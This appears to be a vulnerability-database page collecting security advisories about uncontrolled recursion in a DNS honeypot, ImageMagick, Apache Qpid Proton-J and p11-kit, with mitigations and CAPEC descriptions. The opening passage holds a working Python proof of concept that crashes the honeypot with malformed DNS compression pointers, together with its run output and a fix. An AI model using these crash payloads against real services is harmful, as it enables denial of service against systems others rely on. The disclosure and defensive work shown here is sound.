bytes(chain)\n\ndef send_udp(payload, timeout=1.0):\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.settimeout(timeout)\n s.sendto(payload, (HOST, PORT))\n try: return s.recvfrom(4096)[0]\n except socket.timeout: return None\n finally: s.close()\n\nasync def main():\n loop = asyncio.get_running_loop()\n def handler(loopobj, context):\n exc = context.get(\"exception\")\n captured_loop_exceptions.append((repr(exc), context.get(\"message\")))\n print(f\"[loop-exception-handler] {type(exc).__name__ if exc else None}: {context.get(\u0027message\u0027)}\")\n loop.set_exception_handler(handler)\n\n hp = DnsHoneypot(config={\"port\": PORT, \"target_dns\": \"127.0.0.1\"},\n logger=BaseLogger(node_id=\"e2e\"), bindaddr=HOST)\n await hp.start(); await asyncio.sleep(0.4)\n print(f\"[deploy] DnsHoneypot listening on udp://{HOST}:{PORT}\\n\")\n\n print(\"=== NEGATIVE CONTROL: benign query example.com A ===\")\n captured_loop_exceptions.clear(); send_udp(build_benign_query()); await asyncio.sleep(0.3)\n print(f\" loop exceptions after benign packet: {len(captured_loop_exceptions)}\")\n assert len(captured_loop_exceptions) == 0\n print(\" -\u003e benign packet parsed cleanly, no exception\\n\")\n\n print(\"=== VECTOR A: single self-referential compression pointer (cycle) ===\")\n captured_loop_exceptions.clear(); pkt = build_self_pointer()\n print(f\" packet ({len(pkt)} bytes) name field = pointer 0xC00C -\u003e offset 12 (itself)\")\n send_udp(pkt); await asyncio.sleep(0.5)\n print(f\" loop exceptions captured: {len(captured_loop_exceptions)}\")\n for e in captured_loop_exceptions: print(f\" {e}\")\n assert any(\"RecursionError\" in e[0] for e in captured_loop_exceptions)\n print(\" -\u003e RecursionError escaped datagram_received (DoS, no cycle guard)\\n\")\n\n print(\"=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===\")\n captured_loop_exceptions.clear(); pkt = build_pointer_chain(2000)\n print(f\" packet ({len(pkt)} bytes) = 2000-deep forward pointer chain\")\n send_udp(pkt); await asyncio.sleep(0.5)\n print(f\" loop exceptions captured: {len(captured_loop_exceptions)}\")\n for e in captured_loop_exceptions: print(f\" {e}\")\n assert any(\"RecursionError\" in e[0] for e in captured_loop_exceptions)\n print(\" -\u003e RecursionError escaped datagram_received (DoS, no depth bound)\\n\")\n\n await hp.stop(); print(\"ALL ASSERTIONS PASSED\")\n\nif __name__ == \"__main__\":\n sys.setrecursionlimit(1000)\n asyncio.run(main())\n```\n\nVerbatim run against the deployed honeypot at commit `23156739de23816657cbc4582ad32094ed1cab43`:\n\n```\n[deploy] DnsHoneypot listening on udp://127.0.0.1:15353\n\n=== NEGATIVE CONTROL: benign query example.com A ===\n loop exceptions after benign packet: 0\n -\u003e benign packet parsed cleanly, no exception\n\n=== VECTOR A: single self-referential compression pointer (cycle) ===\n packet (18 bytes) name field = pointer 0xC00C -\u003e offset 12 (itself)\n[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()\n loop exceptions captured: 1\n (\"RecursionError(\u0027maximum recursion depth exceeded in comparison\u0027)\", \u0027Exception in callback _SelectorDatagramTransport._read_ready()\u0027)\n -\u003e RecursionError escaped datagram_received (DoS, no cycle guard)\n\n=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===\n packet (4019 bytes) = 2000-deep forward pointer chain\n[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()\n loop exceptions captured: 1\n (\"RecursionError(\u0027maximum recursion depth exceeded in comparison\u0027)\", \u0027Exception in callback _SelectorDatagramTransport._read_ready()\u0027)\n -\u003e RecursionError escaped datagram_received (DoS, no depth bound)\n\nALL ASSERTIONS PASSED\n```\n\nThe negative control (a well-formed `example.com` A query) parses with zero exceptions, confirming the crash is specific to the malformed compression input.\n\n## Impact\n\nAny host able to send UDP to the DNS honeypot\u0027s bind address/port (unauthenticated, no UI) can crash the per-packet handler with a single ~18-byte datagram. A low-rate flood (a few packets per second) keeps the event loop logging full tracebacks and burning CPU, degrading the DNS honeypot and its logging pipeline. Availability impact only; no memory disclosure or code execution.\n\n## Suggested fix\n\nMake `decode_labels` iterative-bounded: require every compression pointer to point strictly backward to a not-yet-visited offset, which bounds both cycles and long forward chains in O(message length) with no recursion. (This mirrors `dnspython`\u0027s `biggest_pointer` design and the zeroconf depth-bound fix.) Replace the bare `raise \"unknown label encoding\"` with a real exception, and consider wrapping `dns.decode_dns_message(data)` in `DnsUdpProtocol.datagram_received` in a try/except so a malformed packet is logged once rather than escaping to the loop handler.\n\nVerified fix (benign + legitimate backward-compression names still decode; both hostile vectors are bounded to `ValueError` with no recursion):\n\n```python\ndef decode_labels(message, offset):\n labels = []\n return_offset = None\n max_allowed_pointer = len(message)\n while True:\n length, = struct.unpack_from(\"!B\", message, offset)\n if (length \u0026 0xC0) == 0xC0:\n pointer, = struct.unpack_from(\"!H\", message, offset)\n if return_offset is None:\n return_offset = offset + 2\n target = pointer \u0026 0x3FFF\n if target \u003e= max_allowed_pointer:\n raise ValueError(\"invalid DNS compression pointer\")\n max_allowed_pointer = target\n offset = target\n continue\n if (length \u0026 0xC0) != 0x00:\n raise ValueError(\"unknown label encoding\")\n offset += 1\n if length == 0:\n return labels, return_offset if return_offset is not None else offset\n labels.append(*struct.unpack_from(\"!%ds\" % length, message, offset))\n try:\n labels[-1] = labels[-1].decode()\n except UnicodeDecodeError:\n labels[-1] = str(labels[-1])\n offset += length\n```\n\nA fix PR will be supplied from a temporary private fork during the embargo.\n\n## Credit\n\nDiscovered and reported by tonghuaroot.",
"id": "GHSA-mxwc-wh95-pw4g",
"modified": "2026-07-08T20:24:46Z",
"published": "2026-07-08T20:24:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/0xBallpoint/trapster-community/security/advisories/GHSA-mxwc-wh95-pw4g"
},
{
"type": "PACKAGE",
"url": "https://github.com/0xBallpoint/trapster-community"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler"
}
GHSA-P27M-HP98-6637
Vulnerability from github – Published: 2025-12-30 22:54 – Updated: 2025-12-30 22:54
VLAI
Summary
ImageMagick's failure to limit the depth of SVG file reads caused a DoS attack
Details
Summary
Using Magick to read a malicious SVG file resulted in a DoS attack.
Details
bt obtained using gdb:
#4 0x0000555555794c9c in ResizeMagickMemory (memory=0x7fffee203800, size=391344) at MagickCore/memory.c:1443
#5 0x0000555555794e5a in ResizeQuantumMemory (memory=0x7fffee203800, count=48918, quantum=8)
at MagickCore/memory.c:1508
#6 0x0000555555acc8ed in SVGStartElement (context=0x517000000080, name=0x5190000055e3 "g", attributes=0x0)
at coders/svg.c:1254
#7 0x00007ffff6799b1c in xmlParseStartTag () at /lib/x86_64-linux-gnu/libxml2.so.2
#8 0x00007ffff68c7bb8 in () at /lib/x86_64-linux-gnu/libxml2.so.2
#9 0x00007ffff67a03f1 in xmlParseChunk () at /lib/x86_64-linux-gnu/libxml2.so.2
This is related to the SVGStartElement and ResizeQuantumMemory functions.
PoC
-
Generate an SVG file
-
Read this file using Magick:
./magick /data/ylwang/Tools/LargeScan/targets/ImageMagick/test++/1.svg null
- Causes a DoS Attack
My server has a large amount of memory, causing a stack overflow to take a long time. I'll use the Windows release version as an example:
PS C:\Program Files\ImageMagick-7.1.2-Q8> .\magick.exe -ping 1.svg null:
PS C:\Program Files\ImageMagick-7.1.2-Q8> echo $LASTEXITCODE
-1073741571
The error code -1073741571 indicates a crash due to a stack overflow.
Impact
This is a DoS vulnerability and all applications using Magick to parse SVG files are affected.
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
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}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-x86"
},
"ranges": [
{
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{
"introduced": "0"
},
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"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
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}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68618"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-30T22:54:32Z",
"nvd_published_at": "2025-12-30T17:15:43Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nUsing Magick to read a malicious SVG file resulted in a DoS attack.\n\n### Details\n\nbt obtained using gdb:\n\n```\n#4 0x0000555555794c9c in ResizeMagickMemory (memory=0x7fffee203800, size=391344) at MagickCore/memory.c:1443\n#5 0x0000555555794e5a in ResizeQuantumMemory (memory=0x7fffee203800, count=48918, quantum=8) \nat MagickCore/memory.c:1508\n#6 0x0000555555acc8ed in SVGStartElement (context=0x517000000080, name=0x5190000055e3 \"g\", attributes=0x0) \nat coders/svg.c:1254\n#7 0x00007ffff6799b1c in xmlParseStartTag () at /lib/x86_64-linux-gnu/libxml2.so.2\n#8 0x00007ffff68c7bb8 in () at /lib/x86_64-linux-gnu/libxml2.so.2\n#9 0x00007ffff67a03f1 in xmlParseChunk () at /lib/x86_64-linux-gnu/libxml2.so.2\n```\n\nThis is related to the SVGStartElement and ResizeQuantumMemory functions.\n\n### PoC\n\n1. Generate an SVG file\n\n2. Read this file using Magick:\n\n```\n./magick /data/ylwang/Tools/LargeScan/targets/ImageMagick/test++/1.svg null\n```\n\n3. Causes a DoS Attack\n\nMy server has a large amount of memory, causing a stack overflow to take a long time. I\u0027ll use the Windows release version as an example:\n\n``` \nPS C:\\Program Files\\ImageMagick-7.1.2-Q8\u003e .\\magick.exe -ping 1.svg null:\nPS C:\\Program Files\\ImageMagick-7.1.2-Q8\u003e echo $LASTEXITCODE\n-1073741571\n```\n\nThe error code -1073741571 indicates a crash due to a stack overflow.\n\n### Impact\n\nThis is a DoS vulnerability and all applications using Magick to parse SVG files are affected.",
"id": "GHSA-p27m-hp98-6637",
"modified": "2025-12-30T22:54:33Z",
"published": "2025-12-30T22:54:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-p27m-hp98-6637"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68618"
},
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/commit/6f431d445f3ddd609c004a1dde617b0a73e60beb"
},
{
"type": "PACKAGE",
"url": "https://github.com/ImageMagick/ImageMagick"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "ImageMagick\u0027s failure to limit the depth of SVG file reads caused a DoS attack"
}
GHSA-P2GC-FM5W-94JJ
Vulnerability from github – Published: 2026-08-05 09:31 – Updated: 2026-08-07 00:31
VLAI
Details
A pre-authentication attacker could leverage type nesting to cause a StackOverflowError potentially leading to denial of service.
This issue affects Apache Qpid Proton-J: through 0.34.1.
Users are recommended to upgrade to version 0.35.0, which fixes the issue.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2026-66274"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-05T07:16:37Z",
"severity": "HIGH"
},
"details": "A pre-authentication attacker could leverage type nesting to cause a StackOverflowError potentially leading to denial of service.\n\nThis issue affects Apache Qpid Proton-J: through 0.34.1.\n\nUsers are recommended to upgrade to version 0.35.0, which fixes the issue.",
"id": "GHSA-p2gc-fm5w-94jj",
"modified": "2026-08-07T00:31:08Z",
"published": "2026-08-05T09:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66274"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/h7xolzws2by2qhdjf7scbx87foxojb5h"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/08/04/10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P2WM-69QX-X25W
Vulnerability from github – Published: 2026-06-29 21:32 – Updated: 2026-08-25 12:31
VLAI
Details
A flaw was found in p11-kit. The RPC message attribute parsing functions p11_rpc_message_get_attribute() and p11_rpc_message_get_attribute_array_value() form a mutually-recursive call chain with no recursion depth limit when processing nested CKA_WRAP_TEMPLATE, CKA_UNWRAP_TEMPLATE, and CKA_DERIVE_TEMPLATE attributes. An unauthenticated attacker with local access to the p11-kit RPC Unix domain socket can send a specially crafted request with deeply nested template attributes, causing stack exhaustion and crashing the p11-kit server process and its dependent services.
Severity
6.2 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-13757"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-29T19:16:40Z",
"severity": "MODERATE"
},
"details": "A flaw was found in p11-kit. The RPC message attribute parsing functions p11_rpc_message_get_attribute() and p11_rpc_message_get_attribute_array_value() form a mutually-recursive call chain with no recursion depth limit when processing nested CKA_WRAP_TEMPLATE, CKA_UNWRAP_TEMPLATE, and CKA_DERIVE_TEMPLATE attributes. An unauthenticated attacker with local access to the p11-kit RPC Unix domain socket can send a specially crafted request with deeply nested template attributes, causing stack exhaustion and crashing the p11-kit server process and its dependent services.",
"id": "GHSA-p2wm-69qx-x25w",
"modified": "2026-08-25T12:31:20Z",
"published": "2026-06-29T21:32:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13757"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:37469"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:38342"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:49667"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:49668"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:53371"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:54387"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:54760"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:58981"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-13757"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2494556"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-p2wm-69qx-x25w"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Implementation
Ensure that an end condition will be reached under all logic conditions. The end condition may include checking against the depth of recursion and exiting with an error if the recursion goes too deep. The complexity of the end condition contributes to the effectiveness of this action.
Mitigation
Implementation
Increase the stack size.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.